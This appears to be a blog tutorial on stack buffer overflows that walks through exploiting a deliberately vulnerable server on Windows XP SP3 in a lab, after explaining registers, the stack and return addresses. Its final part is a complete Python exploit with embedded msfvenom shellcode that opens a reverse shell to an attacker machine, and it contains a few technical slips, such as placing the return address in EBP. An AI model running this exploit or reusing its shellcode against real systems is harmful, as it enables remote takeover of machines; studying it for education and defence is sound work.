A brief introduction to exploit research

The Dark Lord
8 min readJul 18, 2022

Background

My interest in cybersecurity stemmed from my interest in computer programs, and computers in general after I begrudgingly enrolled into a Bachelors in Computer Science and Engineering.
During my undergrad years , ‘hacker’ was a buzzword thrown around every so often, to the point where I didn’t quite understand what the term actually meant. I remember , a friend of mine got his facebook account ‘hacked’ after he left it logged in, in someone else’s computer. I thought maybe hacker is just an opportunist looking for something to exploit and happens to be at the right place at the wrong (for the victim) time?
As I traversed further, and learned more, I realized that the term refers to a broad spectrum of individuals who can make a program or system behave unexpectedly to achieve a goal. I was soon drawn to the field of exploit research, and found myself spending hours trying to understand how a high-level language like C is converted to machine code.

One of the very first books I read on exploit education, is one of the finest and a Bible in the area of exploit research , “Hacking — The Art of Exploitation” by Jon Erickson. In the first chapter of that book, Jon writes “Hacker is a term for both those who write code, and those who exploit it”. He adds further, “Hacking is really the act of just finding a clever and counterintuitive solution to a problem”

Overview:

This brings us to the first kind of exploit one learns in their journey of exploit research — A buffer overflow. A buffer is a temporary space in memory assigned to hold data. Buffers may be allocated at compile time (array) or run-time (heaps). A buffer overflow is a vulnerability wherein an input can cause the in-memory stack to overflow and end up being overwritten. This vulnerability can be exploited by an adversary to achieve arbitrary code execution. Before we go ahead and exploit there are some brief concepts which I’ll recap

x86 architecture:

Developed by intel , the 8086 CPU was the first in the line of x86 processors. A processor has several registers, which act like variables. While there are several registers in the x86 architecture, we are primarily going to be focused on the EIP and ESP for now. EIP is the register that stores the position of the instruction being executed — As the program is loaded into a memory address and executes a line of machine code, the EIP advances. The ESP refers to the top of the ‘stack’ , a section of memory used to store variables, and handle function calls. In fact, stack is one of the 5 different segments that constitute the memory of a compiled program — text (code), bss, data, heap , stack

The stack:

The stack is a defined range in computer memory which is used for storing data and supporting function calls. The way a stack is implemented can vary from architectures to architectures, here we are referring to the stack implemented in x86 architectures. In a high level language, when we create variables (except those allocated memory dynamically like malloc), the variables occupy an address space on the stack. The stack usually grows from higher memory to lower memory, opposite to the direction of buffer growth which grows from lower to higher memory — this fact will play an important role in crafting of our exploit.

Function calls:
Broadly speaking, when a subroutine or a function is called, the EIP needs to ‘jump’ to a separate section of code loaded somewhere else in memory. This brief interruption in the normal execution flow, needs to be addressed. The EIP must ‘return’ to its original place after it has finished execution of the subroutine. The EIP stores this value or the ‘return address’ on the stack.

The buffer has a fixed size, and if not checked , it can be overflown by using an input string that causes it to exceed the allocated size and overwrite the return address which is stored in EBP register. Our goal is to overwrite the place where the ‘ret addr’ is stored with the buffer overflow for our goals.

The Exploit: Memcpy Server on Windows XP SP3

With our goal clear, let’s use what we have learnt to compromise a remote service running on Windows XP. I strongly recommend using a Kali or Parrot distro to avoid the hassle of setting up Metasploit (which we will use for the payload part).

A payload is sort of an action item that the adversary wants the target to do once it has been compromised. The ideal intent of the attacker is to cause the system to spawn a ‘shell’ giving control back to the attacker once the target has been compromised so that they may proceed with their initiatives. As such, a commonly substituted term for payload is ‘shellcode’.

You can find the vulnerable exes, I used in some of my blogs here.

Scan:
We will scan the remote host by using nmap to identify any uncommon ports being open. We find a port open on 10000.

We can use netcat to interact with it and find that it simply echoes or repeats a string being sent to it.

echo "AAAA" | nc {ip-of-vm} 10000 

Detecting Buffer Overflow:

Next we send a larger string, in an attempt to overflow. But instead of it being all the same character we send a pattern. Such a pattern can be generated here. This will help us understand the offset when causing the overflow.

We send a pattern generated from the link above to the remote service. We select a length of 300, we can continue to add 0’s until we figure out an overflow length.

python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9j6Aj7Aj8Aj9'" | nc 192.168.40.133 10000

We observe that after sending the crafted string, we get an error on the service.

offset revealed to be 6a413969

We see that the instruction pointer tried to jump to an unexpected address indicated by the offset, and caused the program to crash (reason could be a non-executable region or garbage instruction or address outside of range of memory). If we enter that value on to the tool, it tells us that the offset is at 268

offset at 268

So whatever is at starting the 269th character onwards for 4 bytes will be our intended return address(4 bytes is address size for x86). This is the value which the instruction pointer will attempt to jump to as shown by the crash.

So we will put our ‘shellcode’ on the stack. We would want a reverse shell back to our attacker machine. We can use the tool msfvenom, to generate a shellcode. I wrote the exploit code in python so chose that format among many of the formats the tool allows. We will craft the payload a bit later.

Other thing to note is that we would like the ret address to be overwritten by an address that points to our shellcode. We can hardcode the actual address of the shellcode by ‘debugging’ during our exploit attempt.

Debugging:
Immunity debugger is a popular GUI debugger that is supported by the older systems such as XP SP3. We use it to attach to the server process and debug. (File->attach -> Select the pid of the running executable) or you can open the executable from within Immunity. Once we click the play icon after sending the payload earlier, we see the screen below

stack top shown by green, EIP pointed in red shows the offset

So our payload design is going to be a string like this

BUFFER STRING(268 length)+RET ADDRESS OF SHELLCODE + SHELLCODE

So our overwritten return address points to where shellcode starts.
We generate the shellcode , a reverse_tcp shell that will attempt to connect back to our machine when the exploit succeeds.

As pointed by the screenshot below in green, the shellcode starts at the stack from ‘0022FB70’. We need to put this value in reverse order as the buffer grows opposite to the direction of stack growth (stack grows from high memory to lower memory) which is in python hex format “\x70\xfb\x22\x00”

So we start a handler for our msfvenom payload. A handler is something that ‘handles’ the payloads outcome. In metasploit, there are 2 kinds of payloads (staged and stageless), a topic which we will cover in depth later. For now we sent a stageless payload. The payload we generated earlier and using for the exploit is a staged payload and will expect a stager that spawns a command shell.

configuring a handler to handle our reverse tcp shell

We then set the LHOST and LPORT which are the host of attacker ip and port, this needs to be in line with the payload we generated above and start the listener.

We then send our exploit using a python code that connects to a socket and sends the string (buffer_offset+ret_address+payload)

!/usr/bin/python
import socket, sys
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((sys.argv[1],10000))buf=""
buf+="A"*268
#offset is 268
buf+="\x70\xfb\x22\x00"
buf += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30"
buf += b"\x89\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
buf += b"\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10"
buf += b"\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01"
buf += b"\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\x85\xc9\x74"
buf += b"\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf"
buf += b"\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d"
buf += b"\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b"
buf += b"\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
buf += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
buf += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
buf += b"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x28\x81\x68\x02"
buf += b"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
buf += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
buf += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
buf += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"
buf += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
buf += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
buf += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
buf += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
buf += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
buf += b"\x53\xff\xd5"
sock.send(buf)
sock.close()

Once we send our payload, we can see that our stager is sent and we can execute commands on the victim machine.

Great success!

Hope you enjoyed this slightly verbose introduction to vanilla buffer overflow exploits. Until next time 👋👋👋

--

--

The Dark Lord

Computer & N/w security enthusiast, cryptography fanatic. Exploiting things in a dimly lit room.